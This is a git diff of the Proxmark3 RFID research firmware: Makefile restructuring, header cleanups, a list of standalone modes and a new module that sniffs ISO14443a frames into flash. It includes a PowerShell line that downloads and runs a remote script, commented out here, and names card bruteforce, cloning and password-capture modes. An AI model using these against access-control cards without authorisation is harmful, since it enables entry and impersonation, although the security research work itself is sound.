ExecTest "emv test" "emv test" {bash -lc "cd ~/client;./proxmark3 -c 'emv test'"} "Test?s? ? OK"
|
||||
# Long tests:
|
||||
# ExecTest "hf mf hardnested" "hf mf hardnested" {bash -lc "cd ~/client;./proxmark3 -c 'hf mf hardnested t 1 000000000000'"} "found:"
|
||||
# ExecTest "hf mf iclass" "hf mf iclass" {bash -lc "cd ~/client;./proxmark3 -c 'hf iclass loclass t l'"} "verified ok"
|
||||
# ExecTest "emv test" "emv test" {bash -lc "cd ~/client;./proxmark3 -c 'emv test -i -l'"} "Test?s? ? OK"
|
||||
# Short tests:
|
||||
ExecTest "hf mf iclass" "hf mf iclass" {bash -lc "cd ~/client;./proxmark3 -c 'hf iclass loclass t'"} "OK!"
|
||||
ExecTest "emv test" "emv test" {bash -lc "cd ~/client;./proxmark3 -c 'emv test -i'"} "Test?s? ? OK"
|
||||
|
||||
|
||||
if ($global:TestsPassed) {
|
||||
|
@ -338,4 +409,4 @@ on_success:
|
|||
on_failure:
|
||||
- ps: Write-Host "Build error." -ForegroundColor Red
|
||||
on_finish:
|
||||
- ps: $blockRdp = $false; iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/appveyor/ci/master/scripts/enable-rdp.ps1'))
|
||||
- ps: # $blockRdp = $false; iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/appveyor/ci/master/scripts/enable-rdp.ps1'))
|
||||
|
|
|
@ -10,6 +10,9 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
#include "BigBuf.h"
|
||||
|
||||
#include "string.h"
|
||||
#include "dbprint.h"
|
||||
|
||||
// BigBuf is the large multi-purpose buffer, typically used to hold A/D samples or traces.
|
||||
// Also used to hold various smaller buffers and the Mifare Emulator Memory.
|
||||
// declare it as uint32_t to achieve alignment to 4 Byte boundary
|
||||
|
@ -112,9 +115,11 @@ uint16_t BigBuf_max_traceLen(void) {
|
|||
void clear_trace(void) {
|
||||
traceLen = 0;
|
||||
}
|
||||
|
||||
void set_tracelen(uint32_t value) {
|
||||
traceLen = value;
|
||||
}
|
||||
|
||||
void set_tracing(bool enable) {
|
||||
tracing = enable;
|
||||
}
|
||||
|
|
|
@ -12,10 +12,7 @@
|
|||
#ifndef __BIGBUF_H
|
||||
#define __BIGBUF_H
|
||||
|
||||
#include <stdbool.h> // for bool
|
||||
#include "proxmark3.h"
|
||||
#include "string.h"
|
||||
#include "ticks.h"
|
||||
#include "common.h"
|
||||
|
||||
#define BIGBUF_SIZE 40000
|
||||
#define MAX_FRAME_SIZE 256 // maximum allowed ISO14443 frame
|
||||
|
@ -43,4 +40,5 @@ void set_tracelen(uint32_t value);
|
|||
bool get_tracing(void);
|
||||
bool RAMFUNC LogTrace(const uint8_t *btBytes, uint16_t iLen, uint32_t timestamp_start, uint32_t timestamp_end, uint8_t *parity, bool readerToTag);
|
||||
uint8_t emlSet(uint8_t *data, uint32_t offset, uint32_t length);
|
||||
|
||||
#endif /* __BIGBUF_H */
|
||||
|
|
|
@ -5,7 +5,7 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// LCD code
|
||||
//-----------------------------------------------------------------------------
|
||||
#include "LCD.h"
|
||||
#include "LCD_disabled.h"
|
||||
|
||||
void LCDSend(unsigned int data) {
|
||||
// 9th bit set for data, clear for command
|
|
@ -9,10 +9,6 @@
|
|||
#ifndef __LCD_H
|
||||
#define __LCD_H
|
||||
|
||||
#include "proxmark3.h"
|
||||
#include "apps.h"
|
||||
#include "fonts.h"
|
||||
|
||||
// The resolution of the LCD
|
||||
#define LCD_XRES 132
|
||||
#define LCD_YRES 132
|
110
armsrc/Makefile
110
armsrc/Makefile
|
@ -2,16 +2,14 @@
|
|||
# at your option, any later version. See the LICENSE.txt file for the text of
|
||||
# the license.
|
||||
#-----------------------------------------------------------------------------
|
||||
# Makefile for armsrc, see ../common/Makefile.common for common settings
|
||||
# Makefile for armsrc, see ../common_arm/Makefile.common for common settings
|
||||
#-----------------------------------------------------------------------------
|
||||
|
||||
APP_INCLUDES = apps.h
|
||||
|
||||
# This Makefile might have been called directly, not via the root Makefile, so:
|
||||
ifeq ($(PLTNAME),)
|
||||
-include ../Makefile.platform
|
||||
-include ../.Makefile.options.cache
|
||||
include ../common/Makefile.hal
|
||||
include ../common_arm/Makefile.hal
|
||||
# detect if there were changes in the platform definitions, requiring a clean
|
||||
ifeq ($(PLATFORM_CHANGED), true)
|
||||
$(error platform definitions have been changed, please "make clean" at the root of the project)
|
||||
|
@ -25,22 +23,27 @@ APP_CFLAGS = $(PLATFORM_DEFS) \
|
|||
-DON_DEVICE \
|
||||
-fno-strict-aliasing -ffunction-sections -fdata-sections
|
||||
|
||||
SRC_LF = lfops.c lfsampling.c pcf7931.c lfdemod.c
|
||||
SRC_LF = lfops.c lfsampling.c pcf7931.c lfdemod.c lfadc.c
|
||||
SRC_ISO15693 = iso15693.c iso15693tools.c
|
||||
SRC_ISO14443a = iso14443a.c mifareutil.c mifarecmd.c epa.c mifaresim.c
|
||||
#UNUSED: mifaresniff.c desfire_crypto.c
|
||||
SRC_ISO14443b = iso14443b.c
|
||||
SRC_FELICA = felica.c
|
||||
SRC_CRAPTO1 = crypto1.c des.c aes.c desfire_key.c desfire_crypto.c mifaredesfire.c
|
||||
SRC_CRAPTO1 = crypto1.c des.c desfire_key.c mifaredesfire.c aes.c platform_util.c
|
||||
SRC_CRC = crc.c crc16.c crc32.c
|
||||
SRC_ICLASS = iclass.c optimized_cipher.c
|
||||
SRC_LEGIC = legicrf.c legicrfsim.c legic_prng.c
|
||||
SRC_NFCBARCODE = thinfilm.c
|
||||
|
||||
# SRC_BEE = bee.c
|
||||
|
||||
# RDV40 related hardware support
|
||||
ifneq (,$(findstring WITH_FLASH,$(APP_CFLAGS)))
|
||||
SRC_FLASH = flashmem.c
|
||||
SRC_SPIFFS = spiffs.c spiffs_cache.c spiffs_check.c spiffs_gc.c spiffs_nucleus.c spiffs_hydrogen.c
|
||||
else
|
||||
SRC_FLASH =
|
||||
SRC_SPIFFS =
|
||||
endif
|
||||
|
||||
ifneq (,$(findstring WITH_SMARTCARD,$(APP_CFLAGS)))
|
||||
|
@ -68,41 +71,7 @@ else
|
|||
endif
|
||||
|
||||
# Generic standalone Mode injection of source code
|
||||
|
||||
|
||||
SRC_STANDALONE = placeholder.c
|
||||
# WITH_STANDALONE_LF_ICERUN
|
||||
ifneq (,$(findstring WITH_STANDALONE_LF_ICERUN,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = lf_icerun.c
|
||||
endif
|
||||
# WITH_STANDALONE_LF_SAMYRUN
|
||||
ifneq (,$(findstring WITH_STANDALONE_LF_SAMYRUN,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = lf_samyrun.c
|
||||
endif
|
||||
# WITH_STANDALONE_LF_PROXBRUTE
|
||||
ifneq (,$(findstring WITH_STANDALONE_LF_PROXBRUTE,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = lf_proxbrute.c
|
||||
endif
|
||||
# WITH_STANDALONE_LF_HIDBRUTE
|
||||
ifneq (,$(findstring WITH_STANDALONE_LF_HIDBRUTE,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = lf_hidbrute.c
|
||||
endif
|
||||
# WITH_STANDALONE_HF_YOUNG
|
||||
ifneq (,$(findstring WITH_STANDALONE_HF_YOUNG,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = hf_young.c
|
||||
endif
|
||||
# WITH_STANDALONE_HF_MATTYRUN
|
||||
ifneq (,$(findstring WITH_STANDALONE_HF_MATTYRUN,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = hf_mattyrun.c
|
||||
endif
|
||||
# WITH_STANDALONE_HF_COLIN
|
||||
ifneq (,$(findstring WITH_STANDALONE_HF_COLIN,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = vtsend.c hf_colin.c
|
||||
endif
|
||||
# WITH_STANDALONE_HF_BOG
|
||||
ifneq (,$(findstring WITH_STANDALONE_HF_BOG,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = hf_bog.c
|
||||
endif
|
||||
include Standalone/Makefile.inc
|
||||
|
||||
#the FPGA bitstream files. Note: order matters!
|
||||
FPGA_BITSTREAMS = fpga_lf.bit fpga_hf.bit
|
||||
|
@ -113,7 +82,7 @@ SRC_ZLIB = inflate.c inffast.c inftrees.c adler32.c zutil.c
|
|||
ZLIB_CFLAGS = -DZ_SOLO -DZ_PREFIX -DNO_GZIP -DZLIB_PM3_TUNED
|
||||
APP_CFLAGS += $(ZLIB_CFLAGS)
|
||||
# zlib includes:
|
||||
APP_CFLAGS += -I../zlib
|
||||
APP_CFLAGS += -I../common/zlib
|
||||
|
||||
# stdint.h provided locally until GCC 4.5 becomes C99 compliant,
|
||||
# stack-protect , no-pie reduces size on Gentoo Hardened 8.2 gcc
|
||||
|
@ -121,9 +90,9 @@ APP_CFLAGS += -I. -fno-stack-protector -fno-pie
|
|||
|
||||
# Compile these in thumb mode (small size)
|
||||
THUMBSRC = start.c \
|
||||
protocols.c \
|
||||
$(SRC_LCD) \
|
||||
$(SRC_ISO15693) \
|
||||
$(SRC_NFCBARCODE) \
|
||||
$(SRC_LF) \
|
||||
$(SRC_ZLIB) \
|
||||
$(SRC_LEGIC) \
|
||||
|
@ -131,13 +100,16 @@ THUMBSRC = start.c \
|
|||
$(SRC_SMARTCARD) \
|
||||
$(SRC_FPC) \
|
||||
$(SRC_HITAG) \
|
||||
$(SRC_SPIFFS) \
|
||||
appmain.c \
|
||||
printf.c \
|
||||
dbprint.c \
|
||||
commonutil.c \
|
||||
util.c \
|
||||
string.c \
|
||||
BigBuf.c \
|
||||
ticks.c \
|
||||
clocks.c \
|
||||
hfsnoop.c
|
||||
|
||||
|
||||
|
@ -159,12 +131,19 @@ VERSIONSRC = version.c \
|
|||
fpga_version_info.c
|
||||
|
||||
# Do not move this inclusion before the definition of {THUMB,ASM,ARM}SRC
|
||||
include ../common/Makefile.common
|
||||
include ../common_arm/Makefile.common
|
||||
|
||||
COMMON_FLAGS = -Os
|
||||
|
||||
INSTALLFW = $(OBJDIR)/fullimage.elf
|
||||
ifneq (,$(FWTAG))
|
||||
INSTALLFWTAG = $(notdir $(INSTALLFW:%.elf=%-$(FWTAG).elf))
|
||||
else
|
||||
INSTALLFWTAG = $(notdir $(INSTALLFW))
|
||||
endif
|
||||
|
||||
OBJS = $(OBJDIR)/fullimage.s19
|
||||
FPGA_COMPRESSOR = ../client/fpga_compress
|
||||
FPGA_COMPRESSOR = ../tools/fpga_compress/fpga_compress
|
||||
|
||||
all: $(OBJS)
|
||||
|
||||
|
@ -173,9 +152,9 @@ all: $(OBJS)
|
|||
# version.c should be remade on every time fullimage.stage1.elf should be remade
|
||||
version.c: default_version.c $(OBJDIR)/fpga_version_info.o $(OBJDIR)/fpga_all.o $(THUMBOBJ) $(ARMOBJ)
|
||||
$(info [-] GEN $@)
|
||||
$(Q)perl ../tools/mkversion.pl .. > $@ || $(COPY) $^ $@
|
||||
$(Q)sh ../tools/mkversion.sh > $@ || perl ../tools/mkversion.pl > $@ || $(CP) $^ $@
|
||||
|
||||
fpga_version_info.c: $(FPGA_BITSTREAMS) $(FPGA_COMPRESSOR)
|
||||
fpga_version_info.c: $(FPGA_BITSTREAMS) | $(FPGA_COMPRESSOR)
|
||||
$(info [-] GEN $@)
|
||||
$(Q)$(FPGA_COMPRESSOR) -v $(filter %.bit,$^) $@
|
||||
|
||||
|
@ -183,7 +162,7 @@ $(OBJDIR)/fpga_all.o: $(OBJDIR)/fpga_all.bit.z
|
|||
$(info [-] GEN $@)
|
||||
$(Q)$(OBJCOPY) -O elf32-littlearm -I binary -B arm --prefix-sections=fpga_all_bit $^ $@
|
||||
|
||||
$(OBJDIR)/fpga_all.bit.z: $(FPGA_BITSTREAMS) $(FPGA_COMPRESSOR)
|
||||
$(OBJDIR)/fpga_all.bit.z: $(FPGA_BITSTREAMS) | $(FPGA_COMPRESSOR)
|
||||
$(info [-] GEN $@)
|
||||
ifeq ($(Q),@)
|
||||
@$(FPGA_COMPRESSOR) $(filter %.bit,$^) $@ >/dev/null
|
||||
|
@ -192,8 +171,8 @@ else
|
|||
endif
|
||||
|
||||
$(FPGA_COMPRESSOR):
|
||||
$(info [*] MAKE $@)
|
||||
$(Q)$(MAKE) --no-print-directory -C ../client $(notdir $(FPGA_COMPRESSOR))
|
||||
$(error [!] MISSING $@ => To build it, go the root of the repo and do "make $(notdir $@)")
|
||||
$(error [!] MISSING $@)
|
||||
|
||||
$(OBJDIR)/fullimage.stage1.elf: $(VERSIONOBJ) $(OBJDIR)/fpga_all.o $(THUMBOBJ) $(ARMOBJ)
|
||||
$(info [=] LD $@)
|
||||
|
@ -211,7 +190,7 @@ $(OBJDIR)/fullimage.data.bin: $(OBJDIR)/fullimage.stage1.elf
|
|||
$(info [-] GEN $@)
|
||||
$(Q)$(OBJCOPY) -O binary -I elf32-littlearm --only-section .data $^ $@
|
||||
|
||||
$(OBJDIR)/fullimage.data.bin.z: $(OBJDIR)/fullimage.data.bin $(FPGA_COMPRESSOR)
|
||||
$(OBJDIR)/fullimage.data.bin.z: $(OBJDIR)/fullimage.data.bin | $(FPGA_COMPRESSOR)
|
||||
$(info [-] GEN $@)
|
||||
ifeq ($(Q),@)
|
||||
@$(FPGA_COMPRESSOR) $(filter %.bin,$^) $@ >/dev/null
|
||||
|
@ -232,18 +211,29 @@ tarbin: $(OBJS)
|
|||
$(Q)$(TAR) $(TARFLAGS) ../proxmark3-$(platform)-bin.tar $(OBJS:%=armsrc/%) $(OBJS:%.s19=armsrc/%.elf)
|
||||
|
||||
clean:
|
||||
$(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.o
|
||||
$(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.elf
|
||||
$(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.s19
|
||||
$(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.map
|
||||
$(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.d
|
||||
$(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.z
|
||||
$(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.bin
|
||||
$(Q)$(DELETE) version.c
|
||||
$(Q)$(RM) $(DEPENDENCY_FILES)
|
||||
$(Q)$(RM) $(OBJDIR)$(PATHSEP)*.o
|
||||
$(Q)$(RM) $(OBJDIR)$(PATHSEP)*.elf
|
||||
$(Q)$(RM) $(OBJDIR)$(PATHSEP)*.s19
|
||||
$(Q)$(RM) $(OBJDIR)$(PATHSEP)*.map
|
||||
$(Q)$(RM) $(OBJDIR)$(PATHSEP)*.d
|
||||
$(Q)$(RM) $(OBJDIR)$(PATHSEP)*.z
|
||||
$(Q)$(RM) $(OBJDIR)$(PATHSEP)*.bin
|
||||
$(Q)$(RM) version.c
|
||||
|
||||
.PHONY: all clean help
|
||||
install: all
|
||||
$(info [@] Installing fullimage to $(DESTDIR)$(PREFIX)...)
|
||||
$(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)
|
||||
$(Q)$(CP) $(INSTALLFW) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)$(PATHSEP)$(INSTALLFWTAG)
|
||||
|
||||
uninstall:
|
||||
$(info [@] Uninstalling fullimage from $(DESTDIR)$(PREFIX)...)
|
||||
$(Q)$(RM) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)$(PATHSEP)$(INSTALLFWTAG)
|
||||
|
||||
.PHONY: all clean help install uninstall
|
||||
help:
|
||||
@echo Multi-OS Makefile, you are running on $(DETECTED_OS)
|
||||
@echo Possible targets:
|
||||
@echo + all - Build the full image $(OBJDIR)/fullimage.s19
|
||||
@echo + clean - Clean $(OBJDIR)
|
||||
|
||||
|
|
69
armsrc/Standalone/Makefile.hal
Normal file
69
armsrc/Standalone/Makefile.hal
Normal file
|
@ -0,0 +1,69 @@
|
|||
# Default standalone if no standalone specified
|
||||
DEFAULT_STANDALONE=LF_SAMYRUN
|
||||
HELP_EXAMPLE_STANDALONE=HF_YOUNG
|
||||
# (you can set explicitly STANDALONE= to disable standalone modes)
|
||||
STANDALONE?=$(DEFAULT_STANDALONE)
|
||||
STANDALONE_REQ_DEFS=
|
||||
|
||||
define KNOWN_STANDALONE_DEFINITIONS
|
||||
+==========================================================+
|
||||
| STANDALONE | DESCRIPTION |
|
||||
+==========================================================+
|
||||
| (empty) | No standalone mode |
|
||||
+----------------------------------------------------------+
|
||||
| LF_SAMYRUN | HID26 read/clone/sim |
|
||||
| (default) | - Samy Kamkar |
|
||||
+----------------------------------------------------------+
|
||||
| LF_ICERUN | standalone mode skeleton |
|
||||
| | - iceman |
|
||||
+----------------------------------------------------------+
|
||||
| LF_PROXBRUTE | HID ProxII bruteforce |
|
||||
| | - Brad Antoniewicz |
|
||||
+----------------------------------------------------------+
|
||||
| LF_HIDBRUTE | HID corporate 1000 bruteforce |
|
||||
| | - Federico dotta & Maurizio Agazzini |
|
||||
+----------------------------------------------------------+
|
||||
| HF_YOUNG | Mifare sniff/simulation |
|
||||
| | - Craig Young |
|
||||
+----------------------------------------------------------+
|
||||
| HF_MATTYRUN | Mifare sniff/clone |
|
||||
| | - Matías A. Ré Medina |
|
||||
+----------------------------------------------------------+
|
||||
| HF_COLIN | Mifare ultra fast sniff/sim/clone |
|
||||
| (RDV4 only) | - Colin Brigato |
|
||||
+----------------------------------------------------------+
|
||||
| HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth |
|
||||
| (RDV4 only) | storing in flashmem - Bogito |
|
||||
+----------------------------------------------------------+
|
||||
| HF_14ASNIFF | 14a sniff to flashmem |
|
||||
| (RDV4 only) | |
|
||||
+----------------------------------------------------------+
|
||||
| LF_ICEHID | LF HID collector to flashmem |
|
||||
| (RDV4 only) | |
|
||||
+----------------------------------------------------------+
|
||||
| LF_EM4100EMUL | Simulate predefined em4100 tags only |
|
||||
| | |
|
||||
+----------------------------------------------------------+
|
||||
| LF_EM4100RWC | Read/simulate em4100 tags & clone it |
|
||||
| | to T555x tags |
|
||||
+----------------------------------------------------------+
|
||||
| HF_LEGIC | Read/simulate Legic Prime tags |
|
||||
| | storing in flashmem |
|
||||
+----------------------------------------------------------+
|
||||
endef
|
||||
|
||||
STANDALONE_MODES := LF_SAMYRUN LF_ICERUN LF_PROXBRUTE LF_HIDBRUTE LF_ICEHID LF_EM4100EMUL LF_EM4100RWC
|
||||
STANDALONE_MODES += HF_YOUNG HF_MATTYRUN HF_COLIN HF_BOG HF_14ASNIFF HF_LEGIC
|
||||
STANDALONE_MODES_REQ_SMARTCARD :=
|
||||
STANDALONE_MODES_REQ_FLASH := HF_COLIN HF_BOG HF_14ASNIFF LF_ICEHID
|
||||
ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES)),)
|
||||
STANDALONE_PLATFORM_DEFS += -DWITH_STANDALONE_$(STANDALONE)
|
||||
ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES_REQ_SMARTCARD)),)
|
||||
STANDALONE_REQ_DEFS += -DWITH_SMARTCARD
|
||||
endif
|
||||
ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES_REQ_FLASH)),)
|
||||
STANDALONE_REQ_DEFS += -DWITH_FLASH
|
||||
endif
|
||||
else ifneq ($(STANDALONE),)
|
||||
$(error Invalid STANDALONE: $(STANDALONE). $(KNOWN_DEFINITIONS))
|
||||
endif
|
55
armsrc/Standalone/Makefile.inc
Normal file
55
armsrc/Standalone/Makefile.inc
Normal file
|
@ -0,0 +1,55 @@
|
|||
# Generic standalone Mode injection of source code
|
||||
|
||||
SRC_STANDALONE = placeholder.c
|
||||
# WITH_STANDALONE_LF_ICERUN
|
||||
ifneq (,$(findstring WITH_STANDALONE_LF_ICERUN,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = lf_icerun.c
|
||||
endif
|
||||
# WITH_STANDALONE_LF_SAMYRUN
|
||||
ifneq (,$(findstring WITH_STANDALONE_LF_SAMYRUN,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = lf_samyrun.c
|
||||
endif
|
||||
# WITH_STANDALONE_LF_PROXBRUTE
|
||||
ifneq (,$(findstring WITH_STANDALONE_LF_PROXBRUTE,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = lf_proxbrute.c
|
||||
endif
|
||||
# WITH_STANDALONE_LF_HIDBRUTE
|
||||
ifneq (,$(findstring WITH_STANDALONE_LF_HIDBRUTE,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = lf_hidbrute.c
|
||||
endif
|
||||
# WITH_STANDALONE_HF_YOUNG
|
||||
ifneq (,$(findstring WITH_STANDALONE_HF_YOUNG,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = hf_young.c
|
||||
endif
|
||||
# WITH_STANDALONE_HF_MATTYRUN
|
||||
ifneq (,$(findstring WITH_STANDALONE_HF_MATTYRUN,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = hf_mattyrun.c
|
||||
endif
|
||||
# WITH_STANDALONE_HF_COLIN
|
||||
ifneq (,$(findstring WITH_STANDALONE_HF_COLIN,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = vtsend.c hf_colin.c frozen.c nprintf.c
|
||||
endif
|
||||
# WITH_STANDALONE_HF_BOG
|
||||
ifneq (,$(findstring WITH_STANDALONE_HF_BOG,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = hf_bog.c
|
||||
endif
|
||||
# WITH_STANDALONE_HF_14ASNIFF
|
||||
ifneq (,$(findstring WITH_STANDALONE_HF_14ASNIFF,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = hf_14asniff.c
|
||||
endif
|
||||
# WITH_STANDALONE_LF_ICEHID
|
||||
ifneq (,$(findstring WITH_STANDALONE_LF_ICEHID,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = lf_icehid.c
|
||||
endif
|
||||
# WITH_STANDALONE_LF_EM4100EMUL
|
||||
ifneq (,$(findstring WITH_STANDALONE_LF_EM4100EMUL,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = lf_em4100emul.c
|
||||
endif
|
||||
# WITH_STANDALONE_LF_EM4100RWC
|
||||
ifneq (,$(findstring WITH_STANDALONE_LF_EM4100RWC,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = lf_em4100rwc.c
|
||||
endif
|
||||
# WITH_STANDALONE_HF_LEGIC
|
||||
ifneq (,$(findstring WITH_STANDALONE_HF_LEGIC,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = hf_legic.c
|
||||
endif
|
124
armsrc/Standalone/hf_14asniff.c
Normal file
124
armsrc/Standalone/hf_14asniff.c
Normal file
|
@ -0,0 +1,124 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright 2020 Michael Farrell <micolous+git@gmail.com>
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// main code for standalone HF/iso14a Sniff to flash
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
/*
|
||||
* `hf_14asniff` passively sniffs ISO14a frames, and stores them in internal
|
||||
* flash. It requires RDV4 hardware (for flash and battery).
|
||||
*
|
||||
* This module is similar to hf_bog (which only logs ULC/NTAG/ULEV1 auth).
|
||||
*
|
||||
* On entering stand-alone mode, this module will start sniffing ISO14a frames.
|
||||
* This will be stored in the normal trace buffer (ie: in RAM -- will be lost
|
||||
* at power-off).
|
||||
*
|
||||
* Short-pressing the button again will stop sniffing, and at _this_ point
|
||||
* append trace data from RAM to a file in flash (hf_14asniff.trc) and unmount.
|
||||
*
|
||||
* Once the data is saved, standalone mode will exit.
|
||||
*
|
||||
* LEDs:
|
||||
* - LED1: sniffing
|
||||
* - LED2: sniffed tag command, turns off when finished sniffing reader command
|
||||
* - LED3: sniffed reader command, turns off when finished sniffing tag command
|
||||
* - LED4: unmounting/sync'ing flash (normally < 100ms)
|
||||
*
|
||||
* To retrieve trace data from flash:
|
||||
*
|
||||
* 1. mem spiffs dump o hf_14asniff.trc f trace.trc
|
||||
* Copies trace data file from flash to your PC.
|
||||
*
|
||||
* 2. trace load trace.trc
|
||||
* Loads trace data from a file into PC-side buffers.
|
||||
*
|
||||
* 3. For ISO14a: trace list 14a 1
|
||||
* For MIFARE Classic: trace list mf 1
|
||||
*
|
||||
* Lists trace data from buffer without requesting it from PM3.
|
||||
*
|
||||
* This module emits debug strings during normal operation -- so try it out in
|
||||
* the lab connected to PM3 client before taking it into the field.
|
||||
*
|
||||
* To delete the trace data from flash:
|
||||
*
|
||||
* Caveats / notes:
|
||||
* - Trace buffer will be cleared on starting stand-alone mode. Data in flash
|
||||
* will remain unless explicitly deleted.
|
||||
* - This module will terminate if the trace buffer is full (and save data to
|
||||
* flash).
|
||||
* - Like normal sniffing mode, timestamps overflow after 5 min 16 sec.
|
||||
* However, the trace buffer is sequential, so will be in the correct order.
|
||||
*/
|
||||
|
||||
#include "standalone.h" // standalone definitions
|
||||
#include "proxmark3_arm.h"
|
||||
#include "iso14443a.h"
|
||||
#include "util.h"
|
||||
#include "spiffs.h"
|
||||
#include "appmain.h"
|
||||
#include "dbprint.h"
|
||||
#include "ticks.h"
|
||||
#include "BigBuf.h"
|
||||
|
||||
#define HF_14ASNIFF_LOGFILE "hf_14asniff.trc"
|
||||
|
||||
void DownloadTraceInstructions() {
|
||||
Dbprintf("");
|
||||
Dbprintf("To get the trace from flash and display it:");
|
||||
Dbprintf("1. mem spiffs dump o "HF_14ASNIFF_LOGFILE" f trace.trc");
|
||||
Dbprintf("2. trace load trace.trc");
|
||||
Dbprintf("3. trace list 14a 1");
|
||||
}
|
||||
|
||||
void ModInfo(void) {
|
||||
DbpString("hf_14asniff: standalone 'hf 14a sniff', storing in flashmem");
|
||||
DownloadTraceInstructions();
|
||||
}
|
||||
|
||||
void RunMod() {
|
||||
StandAloneMode();
|
||||
|
||||
Dbprintf("Starting standalone mode: hf_14asniff");
|
||||
rdv40_spiffs_lazy_mount();
|
||||
|
||||
SniffIso14443a(0);
|
||||
|
||||
Dbprintf("Stopped sniffing");
|
||||
SpinDelay(200);
|
||||
|
||||
// Write stuff to spiffs logfile
|
||||
uint32_t trace_len = BigBuf_get_traceLen();
|
||||
if (trace_len > 0) {
|
||||
Dbprintf("[!] Trace length (bytes) = %u", trace_len);
|
||||
|
||||
uint8_t *trace_buffer = BigBuf_get_addr();
|
||||
if (!exists_in_spiffs(HF_14ASNIFF_LOGFILE)) {
|
||||
rdv40_spiffs_write(
|
||||
HF_14ASNIFF_LOGFILE, trace_buffer, trace_len, RDV40_SPIFFS_SAFETY_SAFE);
|
||||
Dbprintf("[!] Wrote trace to "HF_14ASNIFF_LOGFILE);
|
||||
} else {
|
||||
rdv40_spiffs_append(
|
||||
HF_14ASNIFF_LOGFILE, trace_buffer, trace_len, RDV40_SPIFFS_SAFETY_SAFE);
|
||||
Dbprintf("[!] Appended trace to "HF_14ASNIFF_LOGFILE);
|
||||
}
|
||||
} else {
|
||||
Dbprintf("[!] Trace buffer is empty, nothing to write!");
|
||||
}
|
||||
|
||||
LED_D_ON();
|
||||
rdv40_spiffs_lazy_unmount();
|
||||
LED_D_OFF();
|
||||
|
||||
SpinErr(LED_A, 200, 5);
|
||||
SpinDelay(100);
|
||||
|
||||
LEDsoff();
|
||||
SpinDelay(300);
|
||||
DownloadTraceInstructions();
|
||||
}
|
|
@ -15,11 +15,22 @@ The retrieved sniffing session can be acquired by connecting the device
|
|||
to a client that supports the reconnect capability and issue 'hf 14a list'.
|
||||
|
||||
In order to view the grabbed authentication attempts in the flash mem,
|
||||
you can simply run 'script run read_pwd_mem' or just 'mem read l 256'
|
||||
you can simply run 'script run read_pwd_mem' or just 'mem dump p l 256'
|
||||
from the client to view the stored quadlets.
|
||||
*/
|
||||
|
||||
#include "hf_bog.h"
|
||||
#include "standalone.h" // standalone definitions
|
||||
#include "proxmark3_arm.h"
|
||||
#include "iso14443a.h"
|
||||
#include "protocols.h"
|
||||
#include "util.h"
|
||||
#include "spiffs.h"
|
||||
#include "appmain.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "dbprint.h"
|
||||
#include "ticks.h"
|
||||
#include "BigBuf.h"
|
||||
#include "string.h"
|
||||
|
||||
#define DELAY_READER_AIR2ARM_AS_SNIFFER (2 + 3 + 8)
|
||||
#define DELAY_TAG_AIR2ARM_AS_SNIFFER (3 + 14 + 8)
|
||||
|
@ -27,35 +38,7 @@ from the client to view the stored quadlets.
|
|||
// Maximum number of auth attempts per standalone session
|
||||
#define MAX_PWDS_PER_SESSION 64
|
||||
|
||||
uint8_t FindOffsetInFlash() {
|
||||
uint8_t mem[4] = { 0x00, 0x00, 0x00, 0x00 };
|
||||
uint8_t eom[4] = { 0xFF, 0xFF, 0xFF, 0xFF };
|
||||
uint8_t memcnt = 0;
|
||||
|
||||
while (memcnt < 0xFF) {
|
||||
Flash_ReadData(memcnt, mem, 4);
|
||||
if (memcmp(mem, eom, 4) == 0) {
|
||||
return memcnt;
|
||||
}
|
||||
memcnt += 4;
|
||||
}
|
||||
|
||||
return 0; // wrap-around
|
||||
}
|
||||
|
||||
void EraseMemory() {
|
||||
if (!FlashInit()) {
|
||||
return;
|
||||
}
|
||||
|
||||
Flash_CheckBusy(BUSY_TIMEOUT);
|
||||
Flash_WriteEnable();
|
||||
Flash_Erase4k(0, 0);
|
||||
|
||||
if (DBGLEVEL > 1) Dbprintf("[!] Erased flash!");
|
||||
FlashStop();
|
||||
SpinDelay(100);
|
||||
}
|
